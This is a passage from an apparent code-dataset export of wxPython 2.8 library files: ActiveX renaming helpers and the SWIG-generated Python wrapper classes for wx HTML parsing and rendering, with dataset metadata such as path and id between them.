keyword\n if name in keyword.kwlist: name += '_'\n return name\n trimPropName = staticmethod(trimPropName)\n\n\n def trimMethodName(name):\n import keyword\n if name in keyword.kwlist: name += '_'\n return name\n trimMethodName = staticmethod(trimMethodName)\n \n\n def getParameters(self, m, withDefaults):\n import keyword\n st = \"\"\n # collect the input parameters, if both isIn and isOut are\n # False then assume it is an input paramater\n params = []\n for p in m.params:\n if p.isIn or (not p.isIn and not p.isOut):\n params.append(p)\n # did we get any?\n for p in params:\n name = p.name\n if name in keyword.kwlist: name += '_'\n st += \", \"\n st += name\n if withDefaults and p.isOptional:\n st += '=None'\n return st\n\n\n#---------------------------------------------------------------------------\n\n\n\n", "id": "9988711", "language": "Python", "matching_score": 4.279417991638184, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/activex.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.activex\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nCLSID = wx.activex.CLSID\nwxParamX = wx.activex.ParamX\nwxFuncX = wx.activex.FuncX\nwxPropX = wx.activex.PropX\nwxParamXArray = wx.activex.ParamXArray\nwxFuncXArray = wx.activex.FuncXArray\nwxPropXArray = wx.activex.PropXArray\nwxActiveXWindow = wx.activex.ActiveXWindow\nRegisterActiveXEvent = wx.activex.RegisterActiveXEvent\nwxActiveXEvent = wx.activex.ActiveXEvent\nwxIEHtmlWindowBase = wx.activex.IEHtmlWindowBase\n\n\nd = globals()\nfor k, v in wx.activex.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "5629606", "language": "Python", "matching_score": 0.9993963241577148, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/activex.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\n\"\"\"\nClasses for a simple HTML rendering window, HTML Help Window, etc.\n\"\"\"\n\nimport _html\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _windows\nimport _core\nwx = _core \n__docfilter__ = wx.__DocFilter(globals()) \n#---------------------------------------------------------------------------\n\nHTML_ALIGN_LEFT = _html.HTML_ALIGN_LEFT\nHTML_ALIGN_CENTER = _html.HTML_ALIGN_CENTER\nHTML_ALIGN_RIGHT = _html.HTML_ALIGN_RIGHT\nHTML_ALIGN_BOTTOM = _html.HTML_ALIGN_BOTTOM\nHTML_ALIGN_TOP = _html.HTML_ALIGN_TOP\nHTML_CLR_FOREGROUND = _html.HTML_CLR_FOREGROUND\nHTML_CLR_BACKGROUND = _html.HTML_CLR_BACKGROUND\nHTML_UNITS_PIXELS = _html.HTML_UNITS_PIXELS\nHTML_UNITS_PERCENT = _html.HTML_UNITS_PERCENT\nHTML_INDENT_LEFT = _html.HTML_INDENT_LEFT\nHTML_INDENT_RIGHT = _html.HTML_INDENT_RIGHT\nHTML_INDENT_TOP = _html.HTML_INDENT_TOP\nHTML_INDENT_BOTTOM = _html.HTML_INDENT_BOTTOM\nHTML_INDENT_HORIZONTAL = _html.HTML_INDENT_HORIZONTAL\nHTML_INDENT_VERTICAL = _html.HTML_INDENT_VERTICAL\nHTML_INDENT_ALL = _html.HTML_INDENT_ALL\nHTML_COND_ISANCHOR = _html.HTML_COND_ISANCHOR\nHTML_COND_ISIMAGEMAP = _html.HTML_COND_ISIMAGEMAP\nHTML_COND_USER = _html.HTML_COND_USER\nHW_SCROLLBAR_NEVER = _html.HW_SCROLLBAR_NEVER\nHW_SCROLLBAR_AUTO = _html.HW_SCROLLBAR_AUTO\nHW_NO_SELECTION = _html.HW_NO_SELECTION\nHW_DEFAULT_STYLE = _html.HW_DEFAULT_STYLE\nHTML_OPEN = _html.HTML_OPEN\nHTML_BLOCK = _html.HTML_BLOCK\nHTML_REDIRECT = _html.HTML_REDIRECT\nHTML_URL_PAGE = _html.HTML_URL_PAGE\nHTML_URL_IMAGE = _html.HTML_URL_IMAGE\nHTML_URL_OTHER = _html.HTML_URL_OTHER\nclass HtmlLinkInfo(_core.Object):\n \"\"\"Proxy of C++ HtmlLinkInfo class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String href, String target=EmptyString) -> HtmlLinkInfo\"\"\"\n _html.HtmlLinkInfo_swiginit(self,_html.new_HtmlLinkInfo(*args, **kwargs))\n __swig_destroy__ = _html.delete_HtmlLinkInfo\n __del__ = lambda self : None;\n def GetHref(*args, **kwargs):\n \"\"\"GetHref(self) -> String\"\"\"\n return _html.HtmlLinkInfo_GetHref(*args, **kwargs)\n\n def GetTarget(*args, **kwargs):\n \"\"\"GetTarget(self) -> String\"\"\"\n return _html.HtmlLinkInfo_GetTarget(*args, **kwargs)\n\n def GetEvent(*args, **kwargs):\n \"\"\"GetEvent(self) -> MouseEvent\"\"\"\n return _html.HtmlLinkInfo_GetEvent(*args, **kwargs)\n\n def GetHtmlCell(*args, **kwargs):\n \"\"\"GetHtmlCell(self) -> HtmlCell\"\"\"\n return _html.HtmlLinkInfo_GetHtmlCell(*args, **kwargs)\n\n def SetEvent(*args, **kwargs):\n \"\"\"SetEvent(self, MouseEvent e)\"\"\"\n return _html.HtmlLinkInfo_SetEvent(*args, **kwargs)\n\n def SetHtmlCell(*args, **kwargs):\n \"\"\"SetHtmlCell(self, HtmlCell e)\"\"\"\n return _html.HtmlLinkInfo_SetHtmlCell(*args, **kwargs)\n\n Event = property(GetEvent,SetEvent,doc=\"See `GetEvent` and `SetEvent`\") \n Href = property(GetHref,doc=\"See `GetHref`\") \n HtmlCell = property(GetHtmlCell,SetHtmlCell,doc=\"See `GetHtmlCell` and `SetHtmlCell`\") \n Target = property(GetTarget,doc=\"See `GetTarget`\") \n_html.HtmlLinkInfo_swigregister(HtmlLinkInfo)\ncvar = _html.cvar\nHtmlWindowNameStr = cvar.HtmlWindowNameStr\nHtmlPrintoutTitleStr = cvar.HtmlPrintoutTitleStr\nHtmlPrintingTitleStr = cvar.HtmlPrintingTitleStr\n\nclass HtmlTag(_core.Object):\n \"\"\"Proxy of C++ HtmlTag class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def GetName(*args, **kwargs):\n \"\"\"GetName(self) -> String\"\"\"\n return _html.HtmlTag_GetName(*args, **kwargs)\n\n def HasParam(*args, **kwargs):\n \"\"\"HasParam(self, String par) -> bool\"\"\"\n return _html.HtmlTag_HasParam(*args, **kwargs)\n\n def GetParam(*args, **kwargs):\n \"\"\"GetParam(self, String par, int with_commas=False) -> String\"\"\"\n return _html.HtmlTag_GetParam(*args, **kwargs)\n\n def GetAllParams(*args, **kwargs):\n \"\"\"GetAllParams(self) -> String\"\"\"\n return _html.HtmlTag_GetAllParams(*args, **kwargs)\n\n def HasEnding(*args, **kwargs):\n \"\"\"HasEnding(self) -> bool\"\"\"\n return _html.HtmlTag_HasEnding(*args, **kwargs)\n\n def GetBeginPos(*args, **kwargs):\n \"\"\"GetBeginPos(self) -> int\"\"\"\n return _html.HtmlTag_GetBeginPos(*args, **kwargs)\n\n def GetEndPos1(*args, **kwargs):\n \"\"\"GetEndPos1(self) -> int\"\"\"\n return _html.HtmlTag_GetEndPos1(*args, **kwargs)\n\n def GetEndPos2(*args, **kwargs):\n \"\"\"GetEndPos2(self) -> int\"\"\"\n return _html.HtmlTag_GetEndPos2(*args, **kwargs)\n\n AllParams = property(GetAllParams,doc=\"See `GetAllParams`\") \n BeginPos = property(GetBeginPos,doc=\"See `GetBeginPos`\") \n EndPos1 = property(GetEndPos1,doc=\"See `GetEndPos1`\") \n EndPos2 = property(GetEndPos2,doc=\"See `GetEndPos2`\") \n Name = property(GetName,doc=\"See `GetName`\") \n_html.HtmlTag_swigregister(HtmlTag)\n\nclass HtmlParser(_core.Object):\n \"\"\"Proxy of C++ HtmlParser class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def SetFS(*args, **kwargs):\n \"\"\"SetFS(self, FileSystem fs)\"\"\"\n return _html.HtmlParser_SetFS(*args, **kwargs)\n\n def GetFS(*args, **kwargs):\n \"\"\"GetFS(self) -> FileSystem\"\"\"\n return _html.HtmlParser_GetFS(*args, **kwargs)\n\n def Parse(*args, **kwargs):\n \"\"\"Parse(self, String source) -> Object\"\"\"\n return _html.HtmlParser_Parse(*args, **kwargs)\n\n def InitParser(*args, **kwargs):\n \"\"\"InitParser(self, String source)\"\"\"\n return _html.HtmlParser_InitParser(*args, **kwargs)\n\n def DoneParser(*args, **kwargs):\n \"\"\"DoneParser(self)\"\"\"\n return _html.HtmlParser_DoneParser(*args, **kwargs)\n\n def DoParsing(*args, **kwargs):\n \"\"\"DoParsing(self, int begin_pos, int end_pos)\"\"\"\n return _html.HtmlParser_DoParsing(*args, **kwargs)\n\n def StopParsing(*args, **kwargs):\n \"\"\"StopParsing(self)\"\"\"\n return _html.HtmlParser_StopParsing(*args, **kwargs)\n\n def AddTagHandler(*args, **kwargs):\n \"\"\"AddTagHandler(self, HtmlTagHandler handler)\"\"\"\n return _html.HtmlParser_AddTagHandler(*args, **kwargs)\n\n def GetSource(*args, **kwargs):\n \"\"\"GetSource(self) -> String\"\"\"\n return _html.HtmlParser_GetSource(*args, **kwargs)\n\n def PushTagHandler(*args, **kwargs):\n \"\"\"PushTagHandler(self, HtmlTagHandler handler, String tags)\"\"\"\n return _html.HtmlParser_PushTagHandler(*args, **kwargs)\n\n def PopTagHandler(*args, **kwargs):\n \"\"\"PopTagHandler(self)\"\"\"\n return _html.HtmlParser_PopTagHandler(*args, **kwargs)\n\n def GetInnerSource(*args, **kwargs):\n \"\"\"GetInnerSource(self, HtmlTag tag) -> String\"\"\"\n return _html.HtmlParser_GetInnerSource(*args, **kwargs)\n\n FS = property(GetFS,SetFS,doc=\"See `GetFS` and `SetFS`\") \n Source = property(GetSource,doc=\"See `GetSource`\") \n_html.HtmlParser_swigregister(HtmlParser)\n\nclass HtmlWinParser(HtmlParser):\n \"\"\"Proxy of C++ HtmlWinParser class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, HtmlWindow wnd=None) -> HtmlWinParser\"\"\"\n _html.HtmlWinParser_swiginit(self,_html.new_HtmlWinParser(*args, **kwargs))\n def SetDC(*args, **kwargs):\n \"\"\"SetDC(self, DC dc)\"\"\"\n return _html.HtmlWinParser_SetDC(*args, **kwargs)\n\n def GetDC(*args, **kwargs):\n \"\"\"GetDC(self) -> DC\"\"\"\n return _html.HtmlWinParser_GetDC(*args, **kwargs)\n\n def GetCharHeight(*args, **kwargs):\n \"\"\"GetCharHeight(self) -> int\"\"\"\n return _html.HtmlWinParser_GetCharHeight(*args, **kwargs)\n\n def GetCharWidth(*args, **kwargs):\n \"\"\"GetCharWidth(self) -> int\"\"\"\n return _html.HtmlWinParser_GetCharWidth(*args, **kwargs)\n\n def GetWindow(*args, **kwargs):\n \"\"\"GetWindow(self) -> HtmlWindow\"\"\"\n return _html.HtmlWinParser_GetWindow(*args, **kwargs)\n\n GetWindow = wx._deprecated(GetWindow) \n def GetWindowInterface(*args, **kwargs):\n \"\"\"GetWindowInterface(self) -> HtmlWindowInterface\"\"\"\n return _html.HtmlWinParser_GetWindowInterface(*args, **kwargs)\n\n def SetFonts(*args, **kwargs):\n \"\"\"SetFonts(self, String normal_face, String fixed_face, PyObject sizes=None)\"\"\"\n return _html.HtmlWinParser_SetFonts(*args, **kwargs)\n\n def SetStandardFonts(*args, **kwargs):\n \"\"\"SetStandardFonts(self, int size=-1, String normal_face=EmptyString, String fixed_face=EmptyString)\"\"\"\n return _html.HtmlWinParser_SetStandardFonts(*args, **kwargs)\n\n def GetContainer(*args, **kwargs):\n \"\"\"GetContainer(self) -> HtmlContainerCell\"\"\"\n return _html.HtmlWinParser_GetContainer(*args, **kwargs)\n\n def OpenContainer(*args, **kwargs):\n \"\"\"OpenContainer(self) -> HtmlContainerCell\"\"\"\n return _html.HtmlWinParser_OpenContainer(*args, **kwargs)\n\n def SetContainer(*args, **kwargs):\n \"\"\"SetContainer(self, HtmlContainerCell c) -> HtmlContainerCell\"\"\"\n return _html.HtmlWinParser_SetContainer(*args, **kwargs)\n\n def CloseContainer(*args, **kwargs):\n \"\"\"CloseContainer(self) -> HtmlContainerCell\"\"\"\n return _html.HtmlWinParser_CloseContainer(*args, **kwargs)\n\n def GetFontSize(*args, **kwargs):\n \"\"\"GetFontSize(self) -> int\"\"\"\n return _html.HtmlWinParser_GetFontSize(*args, **kwargs)\n\n def SetFontSize(*args, **kwargs):\n \"\"\"SetFontSize(self, int s)\"\"\"\n return _html.HtmlWinParser_SetFontSize(*args, **kwargs)\n\n def GetFontBold(*args, **kwargs):\n \"\"\"GetFontBold(self) -> int\"\"\"\n return _html.HtmlWinParser_GetFontBold(*args, **kwargs)\n\n def SetFontBold(*args, **kwargs):\n \"\"\"SetFontBold(self, int x)\"\"\"\n return _html.HtmlWinParser_SetFontBold(*args, **kwargs)\n\n def GetFontItalic(*args, **kwargs):\n \"\"\"GetFontItalic(self) -> int\"\"\"\n return _html.HtmlWinParser_GetFontItalic(*args, **kwargs)\n\n def SetFontItalic(*args, **kwargs):\n \"\"\"SetFontItalic(self, int x)\"\"\"\n return _html.HtmlWinParser_SetFontItalic(*args, **kwargs)\n\n def GetFontUnderlined(*args, **kwargs):\n \"\"\"GetFontUnderlined(self) -> int\"\"\"\n return _html.HtmlWinParser_GetFontUnderlined(*args, **kwargs)\n\n def SetFontUnderlined(*args, **kwargs):\n \"\"\"SetFontUnderlined(self, int x)\"\"\"\n return _html.HtmlWinParser_SetFontUnderlined(*args, **kwargs)\n\n def GetFontFixed(*args, **kwargs):\n \"\"\"GetFontFixed(self) -> int\"\"\"\n return _html.HtmlWinParser_GetFontFixed(*args, **kwargs)\n\n def SetFontFixed(*args, **kwargs):\n \"\"\"SetFontFixed(self, int x)\"\"\"\n return _html.HtmlWinParser_SetFontFixed(*args, **kwargs)\n\n def GetAlign(*args, **kwargs):\n \"\"\"GetAlign(self) -> int\"\"\"\n return _html.HtmlWinParser_GetAlign(*args, **kwargs)\n\n def SetAlign(*args, **kwargs):\n \"\"\"SetAlign(self, int a)\"\"\"\n return _html.HtmlWinParser_SetAlign(*args, **kwargs)\n\n def GetLinkColor(*args, **kwargs):\n \"\"\"GetLinkColor(self) -> Colour\"\"\"\n return _html.HtmlWinParser_GetLinkColor(*args, **kwargs)\n\n def SetLinkColor(*args, **kwargs):\n \"\"\"SetLinkColor(self, Colour clr)\"\"\"\n return _html.HtmlWinParser_SetLinkColor(*args, **kwargs)\n\n def GetActualColor(*args, **kwargs):\n \"\"\"GetActualColor(self) -> Colour\"\"\"\n return _html.HtmlWinParser_GetActualColor(*args, **kwargs)\n\n def SetActualColor(*args, **kwargs):\n \"\"\"SetActualColor(self, Colour clr)\"\"\"\n return _html.HtmlWinParser_SetActualColor(*args, **kwargs)\n\n GetActualColour = GetActualColor\n SetActualColour = SetActualColor\n\n def SetLink(*args, **kwargs):\n \"\"\"SetLink(self, String link)\"\"\"\n return _html.HtmlWinParser_SetLink(*args, **kwargs)\n\n def CreateCurrentFont(*args, **kwargs):\n \"\"\"CreateCurrentFont(self) -> Font\"\"\"\n return _html.HtmlWinParser_CreateCurrentFont(*args, **kwargs)\n\n def GetLink(*args, **kwargs):\n \"\"\"GetLink(self) -> HtmlLinkInfo\"\"\"\n return _html.HtmlWinParser_GetLink(*args, **kwargs)\n\n ActualColor = property(GetActualColor,SetActualColor,doc=\"See `GetActualColor` and `SetActualColor`\") \n ActualColour = property(GetActualColour,SetActualColour,doc=\"See `GetActualColour` and `SetActualColour`\") \n Align = property(GetAlign,SetAlign,doc=\"See `GetAlign` and `SetAlign`\") \n CharHeight = property(GetCharHeight,doc=\"See `GetCharHeight`\") \n CharWidth = property(GetCharWidth,doc=\"See `GetCharWidth`\") \n Container = property(GetContainer,SetContainer,doc=\"See `GetContainer` and `SetContainer`\") \n DC = property(GetDC,SetDC,doc=\"See `GetDC` and `SetDC`\") \n FontBold = property(GetFontBold,SetFontBold,doc=\"See `GetFontBold` and `SetFontBold`\") \n FontFixed = property(GetFontFixed,SetFontFixed,doc=\"See `GetFontFixed` and `SetFontFixed`\") \n FontItalic = property(GetFontItalic,SetFontItalic,doc=\"See `GetFontItalic` and `SetFontItalic`\") \n FontSize = property(GetFontSize,SetFontSize,doc=\"See `GetFontSize` and `SetFontSize`\") \n FontUnderlined = property(GetFontUnderlined,SetFontUnderlined,doc=\"See `GetFontUnderlined` and `SetFontUnderlined`\") \n Link = property(GetLink,SetLink,doc=\"See `GetLink` and `SetLink`\") \n LinkColor = property(GetLinkColor,SetLinkColor,doc=\"See `GetLinkColor` and `SetLinkColor`\") \n WindowInterface = property(GetWindowInterface,doc=\"See `GetWindowInterface`\") \n_html.HtmlWinParser_swigregister(HtmlWinParser)\n\nclass HtmlTagHandler(_core.Object):\n \"\"\"Proxy of C++ HtmlTagHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> HtmlTagHandler\"\"\"\n _html.HtmlTagHandler_swiginit(self,_html.new_HtmlTagHandler(*args, **kwargs))\n HtmlTagHandler._setCallbackInfo(self, self, HtmlTagHandler)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _html.HtmlTagHandler__setCallbackInfo(*args, **kwargs)\n\n def SetParser(*args, **kwargs):\n \"\"\"SetParser(self, HtmlParser parser)\"\"\"\n return _html.HtmlTagHandler_SetParser(*args, **kwargs)\n\n def GetParser(*args, **kwargs):\n \"\"\"GetParser(self) -> HtmlParser\"\"\"\n return _html.HtmlTagHandler_GetParser(*args, **kwargs)\n\n def ParseInner(*args, **kwargs):\n \"\"\"ParseInner(self, HtmlTag tag)\"\"\"\n return _html.HtmlTagHandler_ParseInner(*args, **kwargs)\n\n Parser = property(GetParser,SetParser,doc=\"See `GetParser` and `SetParser`\") \n_html.HtmlTagHandler_swigregister(HtmlTagHandler)\n\nclass HtmlWinTagHandler(HtmlTagHandler):\n \"\"\"Proxy of C++ HtmlWinTagHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> HtmlWinTagHandler\"\"\"\n _html.HtmlWinTagHandler_swiginit(self,_html.new_HtmlWinTagHandler(*args, **kwargs))\n HtmlWinTagHandler._setCallbackInfo(self, self, HtmlWinTagHandler)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _html.HtmlWinTagHandler__setCallbackInfo(*args, **kwargs)\n\n def SetParser(*args, **kwargs):\n \"\"\"SetParser(self, HtmlParser parser)\"\"\"\n return _html.HtmlWinTagHandler_SetParser(*args, **kwargs)\n\n def GetParser(*args, **kwargs):\n \"\"\"GetParser(self) -> HtmlWinParser\"\"\"\n return _html.HtmlWinTagHandler_GetParser(*args, **kwargs)\n\n def ParseInner(*args, **kwargs):\n \"\"\"ParseInner(self, HtmlTag tag)\"\"\"\n return _html.HtmlWinTagHandler_ParseInner(*args, **kwargs)\n\n Parser = property(GetParser,SetParser,doc=\"See `GetParser` and `SetParser`\") \n_html.HtmlWinTagHandler_swigregister(HtmlWinTagHandler)\n\n\ndef HtmlWinParser_AddTagHandler(*args, **kwargs):\n \"\"\"HtmlWinParser_AddTagHandler(PyObject tagHandlerClass)\"\"\"\n return _html.HtmlWinParser_AddTagHandler(*args, **kwargs)\n#---------------------------------------------------------------------------\n\nclass HtmlSelection(object):\n \"\"\"Proxy of C++ HtmlSelection class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> HtmlSelection\"\"\"\n _html.HtmlSelection_swiginit(self,_html.new_HtmlSelection(*args, **kwargs))\n __swig_destroy__ = _html.delete_HtmlSelection\n __del__ = lambda self : None;\n def Set(*args, **kwargs):\n \"\"\"Set(self, Point fromPos, HtmlCell fromCell, Point toPos, HtmlCell toCell)\"\"\"\n return _html.HtmlSelection_Set(*args, **kwargs)\n\n def SetCells(*args, **kwargs):\n \"\"\"SetCells(self, HtmlCell fromCell, HtmlCell toCell)\"\"\"\n return _html.HtmlSelection_SetCells(*args, **kwargs)\n\n def GetFromCell(*args, **kwargs):\n \"\"\"GetFromCell(self) -> HtmlCell\"\"\"\n return _html.HtmlSelection_GetFromCell(*args, **kwargs)\n\n def GetToCell(*args, **kwargs):\n \"\"\"GetToCell(self) -> HtmlCell\"\"\"\n return _html.HtmlSelection_GetToCell(*args, **kwargs)\n\n def GetFromPos(*args, **kwargs):\n \"\"\"GetFromPos(self) -> Point\"\"\"\n return _html.HtmlSelection_GetFromPos(*args, **kwargs)\n\n def GetToPos(*args, **kwargs):\n \"\"\"GetToPos(self) -> Point\"\"\"\n return _html.HtmlSelection_GetToPos(*args, **kwargs)\n\n def GetFromPrivPos(*args, **kwargs):\n \"\"\"GetFromPrivPos(self) -> Point\"\"\"\n return _html.HtmlSelection_GetFromPrivPos(*args, **kwargs)\n\n def GetToPrivPos(*args, **kwargs):\n \"\"\"GetToPrivPos(self) -> Point\"\"\"\n return _html.HtmlSelection_GetToPrivPos(*args, **kwargs)\n\n def SetFromPrivPos(*args, **kwargs):\n \"\"\"SetFromPrivPos(self, Point pos)\"\"\"\n return _html.HtmlSelection_SetFromPrivPos(*args, **kwargs)\n\n def SetToPrivPos(*args, **kwargs):\n \"\"\"SetToPrivPos(self, Point pos)\"\"\"\n return _html.HtmlSelection_SetToPrivPos(*args, **kwargs)\n\n def ClearPrivPos(*args, **kwargs):\n \"\"\"ClearPrivPos(self)\"\"\"\n return _html.HtmlSelection_ClearPrivPos(*args, **kwargs)\n\n def IsEmpty(*args, **kwargs):\n \"\"\"IsEmpty(self) -> bool\"\"\"\n return _html.HtmlSelection_IsEmpty(*args, **kwargs)\n\n FromCell = property(GetFromCell,doc=\"See `GetFromCell`\") \n FromPos = property(GetFromPos,doc=\"See `GetFromPos`\") \n FromPrivPos = property(GetFromPrivPos,SetFromPrivPos,doc=\"See `GetFromPrivPos` and `SetFromPrivPos`\") \n ToCell = property(GetToCell,doc=\"See `GetToCell`\") \n ToPos = property(GetToPos,doc=\"See `GetToPos`\") \n ToPrivPos = property(GetToPrivPos,SetToPrivPos,doc=\"See `GetToPrivPos` and `SetToPrivPos`\") \n_html.HtmlSelection_swigregister(HtmlSelection)\n\nHTML_SEL_OUT = _html.HTML_SEL_OUT\nHTML_SEL_IN = _html.HTML_SEL_IN\nHTML_SEL_CHANGING = _html.HTML_SEL_CHANGING\nclass HtmlRenderingState(object):\n \"\"\"Proxy of C++ HtmlRenderingState class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> HtmlRenderingState\"\"\"\n _html.HtmlRenderingState_swiginit(self,_html.new_HtmlRenderingState(*args, **kwargs))\n __swig_destroy__ = _html.delete_HtmlRenderingState\n __del__ = lambda self : None;\n def SetSelectionState(*args, **kwargs):\n \"\"\"SetSelectionState(self, int s)\"\"\"\n return _html.HtmlRenderingState_SetSelectionState(*args, **kwargs)\n\n def GetSelectionState(*args, **kwargs):\n \"\"\"GetSelectionState(self) -> int\"\"\"\n return _html.HtmlRenderingState_GetSelectionState(*args, **kwargs)\n\n def SetFgColour(*args, **kwargs):\n \"\"\"SetFgColour(self, Colour c)\"\"\"\n return _html.HtmlRenderingState_SetFgColour(*args, **kwargs)\n\n def GetFgColour(*args, **kwargs):\n \"\"\"GetFgColour(self) -> Colour\"\"\"\n return _html.HtmlRenderingState_GetFgColour(*args, **kwargs)\n\n def SetBgColour(*args, **kwargs):\n \"\"\"SetBgColour(self, Colour c)\"\"\"\n return _html.HtmlRenderingState_SetBgColour(*args, **kwargs)\n\n def GetBgColour(*args, **kwargs):\n \"\"\"GetBgColour(self) -> Colour\"\"\"\n return _html.HtmlRenderingState_GetBgColour(*args, **kwargs)\n\n BgColour = property(GetBgColour,SetBgColour,doc=\"See `GetBgColour` and `SetBgColour`\") \n FgColour = property(GetFgColour,SetFgColour,doc=\"See `GetFgColour` and `SetFgColour`\") \n SelectionState = property(GetSelectionState,SetSelectionState,doc=\"See `GetSelectionState` and `SetSelectionState`\") \n_html.HtmlRenderingState_swigregister(HtmlRenderingState)\n\nclass HtmlRenderingStyle(object):\n \"\"\"Proxy of C++ HtmlRenderingStyle class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def GetSelectedTextColour(*args, **kwargs):\n \"\"\"GetSelectedTextColour(self, Colour clr) -> Colour\"\"\"\n return _html.HtmlRenderingStyle_GetSelectedTextColour(*args, **kwargs)\n\n def GetSelectedTextBgColour(*args, **kwargs):\n \"\"\"GetSelectedTextBgColour(self, Colour clr) -> Colour\"\"\"\n return _html.HtmlRenderingStyle_GetSelectedTextBgColour(*args, **kwargs)\n\n SelectedTextBgColour = property(GetSelectedTextBgColour,doc=\"See `GetSelectedTextBgColour`\") \n SelectedTextColour = property(GetSelectedTextColour,doc=\"See `GetSelectedTextColour`\") \n_html.HtmlRenderingStyle_swigregister(HtmlRenderingStyle)\n\nclass DefaultHtmlRenderingStyle(HtmlRenderingStyle):\n \"\"\"Proxy of C++ DefaultHtmlRenderingStyle class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n_html.DefaultHtmlRenderingStyle_swigregister(DefaultHtmlRenderingStyle)\n\nclass HtmlRenderingInfo(object):\n \"\"\"Proxy of C++ HtmlRenderingInfo class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> HtmlRenderingInfo\"\"\"\n _html.HtmlRenderingInfo_swiginit(self,_html.new_HtmlRenderingInfo(*args, **kwargs))\n __swig_destroy__ = _html.delete_HtmlRenderingInfo\n __del__ = lambda self : None;\n def SetSelection(*args, **kwargs):\n \"\"\"SetSelection(self, HtmlSelection s)\"\"\"\n return _html.HtmlRenderingInfo_SetSelection(*args, **kwargs)\n\n def GetSelection(*args, **kwargs):\n \"\"\"GetSelection(self) -> HtmlSelection\"\"\"\n return _html.HtmlRenderingInfo_GetSelection(*args, **kwargs)\n\n def SetStyle(*args, **kwargs):\n \"\"\"SetStyle(self, HtmlRenderingStyle style)\"\"\"\n return _html.HtmlRenderingInfo_SetStyle(*args, **kwargs)\n\n def GetStyle(*args, **kwargs):\n \"\"\"GetStyle(self) -> HtmlRenderingStyle\"\"\"\n return _html.HtmlRenderingInfo_GetStyle(*args, **kwargs)\n\n def GetState(*args, **kwargs):\n \"\"\"GetState(self) -> HtmlRenderingState\"\"\"\n return _html.HtmlRenderingInfo_GetState(*args, **kwargs)\n\n Selection = property(GetSelection,SetSelection,doc=\"See `GetSelection` and `SetSelection`\") \n State = property(GetState,doc=\"See `GetState`\") \n Style = property(GetStyle,SetStyle,doc=\"See `GetStyle` and `SetStyle`\") 